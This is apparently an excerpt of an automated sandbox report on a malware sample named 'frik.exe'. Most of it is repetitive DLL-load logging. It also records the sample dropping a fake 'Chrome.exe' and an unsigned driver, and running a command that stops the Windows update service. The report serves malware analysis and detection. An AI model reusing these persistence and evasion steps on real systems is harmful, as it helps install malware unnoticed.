      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
      Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
      Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: napinsp.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wshbth.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: nlaapi.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: winrnr.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
      Source: frik.exeStatic PE information: Image base 0x140000000 > 0x60000000
      Source: frik.exeStatic file information: File size 5288736 > 1048576
      Source: frik.exeStatic PE information: Raw size of .data is bigger than: 0x100000 < 0x4f9200
      Source: frik.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
      Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: Chrome.exe, 0000001A.00000003.1452343957.000001DFF7940000.00000004.00000001.00020000.00000000.sdmp
      Source: frik.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
      Source: frik.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
      Source: frik.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
      Source: frik.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
      Source: frik.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
      Source: frik.exeStatic PE information: section name: .00cfg
      Source: Chrome.exe.0.drStatic PE information: section name: .00cfg
      Source: C:\Windows\System32\conhost.exeCode function: 42_2_0000000140001394 push qword ptr [0000000140009004h]; ret 42_2_0000000140001403

      Persistence and Installation Behavior

      barindex
      Sample is not signed and drops a device driver
      Source: C:\ProgramData\Chrome.exeFile created: C:\Windows\TEMP\lhaqmlexwhjs.sysJump to behavior
      Source: C:\Users\user\Desktop\frik.exeFile created: C:\ProgramData\Chrome.exeJump to dropped file
      Source: C:\ProgramData\Chrome.exeFile created: C:\Windows\Temp\lhaqmlexwhjs.sysJump to dropped file
      Source: C:\Users\user\Desktop\frik.exeFile created: C:\ProgramData\Chrome.exeJump to dropped file
      Source: C:\ProgramData\Chrome.exeFile created: C:\Windows\Temp\lhaqmlexwhjs.sysJump to dropped file
      Source: C:\Users\user\Desktop\frik.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

      Hooking and other Techniques for Hiding and Protection

      barindex
      Loading BitLocker PowerShell Module
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
